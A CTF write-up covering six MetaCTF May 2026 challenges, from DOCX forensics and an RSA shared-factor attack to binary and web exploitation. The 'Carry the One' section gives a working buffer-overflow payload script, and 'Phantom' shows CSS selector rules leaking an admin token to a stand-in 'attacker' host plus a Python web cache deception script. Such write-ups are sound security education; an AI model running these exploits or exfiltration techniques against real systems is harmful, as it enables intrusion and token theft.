️🏴 MetaCTF May 2026 Flash CTF
A free monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training, TCM Security, and Simply Cyber Academy. There will be 5 or more challenges and you will have 2 hours to solve as many as you can. This CTF will include both beginner and difficult challenges.
Details here: https://app.metactf.com/join/may2026.
Paper Trail
A Harlow & Dent consultant sent an audit report to their client back in November, but the original draft had a section that wasn’t meant to go out. Thankfully, they deleted it before sending.
DOCX files are just ZIP files:
❯ unzip report.docx
Archive: report.docx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: word/_rels/document.xml.rels
inflating: word/document.xml
inflating: word/settings.xml
inflating: docProps/core.xml…and right there in the contents:
ctf/metactf/2026-05-may
❯ rg Meta .
./word/document.xml
94: <w:r><w:delText xml:space="preserve">Staging access token (rotate after handoff): MetaCTF{tr4ck3d_ch4ng3s_4r3nt_r34lly_g0n3}</w:delText></w:r>Common Ground
Vantara Systems runs two internal servers, each with its own RSA keypair. Both public keys were published to an internal certificate log. We also intercepted a message encrypted with server 1’s key.
n1.txt server 1 modulus
n2.txt server 2 modulus
e.txt public exponent (same for both)
flag.enc ciphertext, encrypted with server 1’s key
Given the name, this is likely a Common Factor (GCD) attack.
So n1 and n2 likely share a common factor; if gcd(n1, n2) != 1, p can be recovered and both keys factored:
>>> import math
...
... n1 = int(open("n1.txt").read().strip())
... n2 = int(open("n2.txt").read().strip())
... e = int(open("e.txt").read().strip())
... ct = int(open("flag.enc").read().strip(), 16)
...
... p = math.gcd(n1, n2)
... q1 = n1 // p
... d = pow(e, -1, (p - 1) * (q1 - 1))
... m = pow(ct, d, n1)
...
... print(m.to_bytes((m.bit_length() + 7) // 8, "big").decode())
...
MetaCTF{sh4r3d_f4ct0rs_s1nk_b0th_k3ys}Boarding School
We bought a bunch of airport trash cans on auction, and there were some old boarding passes in the bottom of them. Can you extract the booking reference number from this boarding pass? For example, submit
MetaCTF{ABC123}. Click the image to open it in a new tab.

The barcode on the left is a PDF417 barcode. Throwing the URL of the image straight into ZXing Decoder Online reveals:
M1WANG/SIHYAO E5RUYUF NRTTPEJL 8663 001Y016G0057 348>3180 K4366BJL 01315825980012913163536830360 JL CX 1830035232 8The flag is MetaCTF{E5RUYUF}.
Final State
This token validator only grants access to one specific input. You don’t have the source code.
Download the binary here.
The decompiled code is pretty small; most of the logic lives in main, starting with populating a big table, zeroing it out and settings hard-coded addresses in said table with equally hard-coded values:
int32_t main(int32_t argc, char** argv, char** envp)
{
void* fsbase;
int64_t rbp = *(fsbase + 0x28);
memset(&data_404080, 0, 0x8000);
data_404fb4 = 0xc;
data_405a14 = 3;
data_404850 = 0x2d;
data_409c04 = 0x1d;
data_407b8c = 0x12;
data_4065d0 = 0x37;
data_40af98 = 0x3e;
data_40be6c = 8;
data_40524c = 0x22;
data_408650 = 0x11;
data_406350 = 0x29;
data_409450 = 2;
data_40454c = 0x3c;
data_40ba4c = 0x19;
data_4073fc = 0xb;
data_405750 = 0x2f;
data_40a048 = 5;
data_404b4c = 0x26;
data_408dfc = 0x14;
data_406a28 = 0x38;
data_40b254 = 9;
data_40544c = 0x21;
data_40835c = 0x10;
data_4061fc = 0x2c;
data_409a1c = 0x1b;
data_407848 = 0x3f;
data_40bf50 = 0xd;
data_405c40 = 0x30;
data_40a220 = 6;
data_404e4c = 0x27;
data_409074 = 0x33;
printf("Token: ");…and the bulk of the processing occurs a little later:
label_40125d:
char (* i)[0x88] = &buf;
int64_t rax_3 = 7;
do
{
int64_t rdx_2 = *i;
if (rdx_2 < 0)
goto label_4012a4_2;
i = &(*i)[1];
rax_3 = *(&data_404080 + (((rax_3 << 7) + rdx_2) << 2));
} while (i != &buf[rsi]);Effectively, the binary implements a state machine: each character transitions state = table[state * 128 + char], starting at state 7, accepting if final state == 0x33:
if (rax_3 != 0x33)
{
label_4012a4_2:
puts("ACCESS DENIED");
}
else
puts("ACCESS GRANTED");Using gdb to get the contents of that table post-population:
❯ gdb ./final_state
GNU gdb (GDB; SUSE Linux 16) 16.3
…
(gdb) break *0x555555555280
Breakpoint 1 at 0x555555555280
(gdb) run
Starting program: /home/psypherpunk/ctf/metactf/2026-05-may/final_state
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Token: x
Breakpoint 1, 0x0000555555555280 in ?? ()
Missing separate debuginfos, use: zypper install glibc-debuginfo-2.40-160099.9.1.x86_64
(gdb) dump binary memory dump.bin 0x555555558080 0x555555568080
(gdb) quit…then parsing that dump.bin:
>>> import struct
...
... with open("dump.bin", "rb") as f:
... data = f.read()
...
... table = {}
... for i in range(0, len(data) - 3, 4):
... val = struct.unpack_from("<i", data, i)[0]
... if val != 0:
... rax_idx = i // 4
... char = rax_idx % 128
... if 32 <= char < 127:
... table[rax_idx] = val
...Given that the table is functionally 2D, time to reach for a textbook breadth-first search!
>>> from collections import deque
...
... queue = deque([(7, "")])
... visited = {7}
...
... while queue:
... state, path = queue.popleft()
... for c in range(32, 127):
... idx = state * 128 + c
... if idx in table:
... next_state = table[idx]
... if next_state == 0x33:
... print(path + chr(c))
... if next_state not in visited:
... visited.add(next_state)
... queue.append((next_state, path + chr(c)))
...
MetaCTF{st4t3s_4r3_jus7_gr4phs}Carry the One
BudgetWarden is the internal payroll tool for a small consulting firm. The developers kept things simple… Maybe a bit too simple?
Download the binary here and when you’re ready, connect to the prod instance with
nc kubenode.mctf.io 31100
Looking at the binary:
read(0, rsp, 0x200)at0x4012b9reads 512 bytes into a 64-byte stack buffer(sub rsp, 0x40)—classic stack buffer overflow- the flag is read from
/app/flag.txtby a function at0x4011a0
There are two main bugs to exploit:
- integer overflow: the running total is a
uint16; adding salary 464 to0xfe30wraps to 0, bypassing the<= 999budget check - stack buffer overflow:
read(0, rsp, 0x200)into a 64-byte buffer; overwrite savedrbx+ return address to jump to the flag-reading function
import struct
import sys
OVERFLOW_OFFSET = 72 # 64-byte buffer + 8-byte saved rbx
FLAG_FUNC = 0x4011A6 # flag reader
RET_GADGET = 0x40101A # stack alignment
payload = b"A" * OVERFLOW_OFFSET
payload += struct.pack("<Q", RET_GADGET)
payload += struct.pack("<Q", FLAG_FUNC)
sys.stdout.buffer.write(b"1\n464\n2\n" + payload)…and then firing that at the nc:
❯ ./carry-the-one.py | nc kubenode.mctf.io 31100
BudgetWarden 2.1 -- Payroll Manager
-------------------------------------
Loaded existing records. Monthly total: $65072
1. Add employee
2. Generate summary report
3. Quit
> Monthly salary: Added. Running total: 0
1. Add employee
2. Generate summary report
3. Quit
> Report title:
=== AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ ===
Report generated.
MetaCTF{uint16_wr4p_0p3ns_th3_v4ult}Phantom
PhantomNet Industries prides itself on its impenetrable internal collaboration portal. The CISO personally signed off on it!
See if you can get access to the classified document stored in the admin’s vault. You can create an account, and the admin is known to review any links submitted through the portal’s reporting system.
Download the source here, and spawn an instance of the challenge below. Good luck!
I completely went down the wrong rabbit-hole for this one, my notes at the time being:
- stored XSS via
<style>injection—sanitizeBio()blocks<script>, event handlers and specific tags likesvg,form,iframe, etc. but not<style>. The dashboard renders every user’s bio with<%-(raw HTML). CSP blocks scripts butstyle-src 'unsafe-inline' *allows any CSS - CSS exfiltration—the admin’s dashboard contains:
<a id="secrets-link" href="/admin/secrets?token=ADMIN_TOKEN">CSS attribute selectors can leak this token character by character:
a[href*="token=a"] { background: url(https://attacker/?c=a) }
a[href*="token=b"] { background: url(https://attacker/?c=b) }
/* ... */…and event managed to do it!
❯ ./phantom.py
1
10
109
1099
1099c
1099cd
1099cd3
1099cd3f
1099cd3f5
1099cd3f58
1099cd3f58e
1099cd3f58eb
1099cd3f58eb2
1099cd3f58eb28
1099cd3f58eb285
1099cd3f58eb285b
1099cd3f58eb285bb
1099cd3f58eb285bb4
1099cd3f58eb285bb43
1099cd3f58eb285bb43e
1099cd3f58eb285bb43e6
1099cd3f58eb285bb43e65
1099cd3f58eb285bb43e651
1099cd3f58eb285bb43e6518
1099cd3f58eb285bb43e6518f
1099cd3f58eb285bb43e6518f2
1099cd3f58eb285bb43e6518f27
1099cd3f58eb285bb43e6518f27c
1099cd3f58eb285bb43e6518f27cf
1099cd3f58eb285bb43e6518f27cf8
1099cd3f58eb285bb43e6518f27cf82
1099cd3f58eb285bb43e6518f27cf82eOf course, that’s completely wrong and the final solution is a touch simpler.
It’s actually a web cache deception; NGINX can be made to cache the admin’s dashboard by submitting /dashboard;{random}.css to the bot, then simply view that page.
>>> import re
... import time
... import uuid
...
... import requests
...
... TARGET = "http://qu1ktokk.chals.mctf.io"
...
... s = requests.Session()
...
... username = f"attacker_{uuid.uuid4().hex[:6]}"
... r = s.post(f"{TARGET}/register", data={"username": username, "password": "password123"})
... r.raise_for_status()
...
... cache_buster = uuid.uuid4().hex[:8]
... poisoned_dashboard = f"{TARGET}/dashboard;{cache_buster}.css"
... s.post(f"{TARGET}/admin/visit", json={"url": poisoned_dashboard})
... r.raise_for_status()
...
... time.sleep(20)
...
... r = requests.get(poisoned_dashboard)
... r.raise_for_status()
... match = re.search(r"/admin/secrets\?token=([a-f0-9]+)", r.text)
... print(match.group(1))
...
3626c94e62cbbd3e3f278ac55b264a22To actually get the flag, one makes use of a <link> (not a <style>): by referencing a stylesheet at /admin/secrets, passing the above token, the bot will retrieve and cache the flag!
>>> token = match.group(1)
... cache_buster2 = uuid.uuid4().hex[:8]
... secrets_path = f"/admin/secrets;{cache_buster2}.css?token={token}"
...
... bio = f'<link rel="stylesheet" href="{secrets_path}">'
... s.post(f"{TARGET}/profile/update", data={"bio": bio})
... r.raise_for_status()
...
... profile_url = f"{TARGET}/profile/{username}"
... r = s.post(f"{TARGET}/admin/visit", json={"url": profile_url})
... r.raise_for_status()
...
... time.sleep(20)
...
... r = requests.get(f"{TARGET}{secrets_path}")
... r.raise_for_status()
... print(r.json()["flag"])
...
MetaCTF{sp3cul4t1on_rul3s_m33t_c4ch3_d3c3pt1on_g8k2x}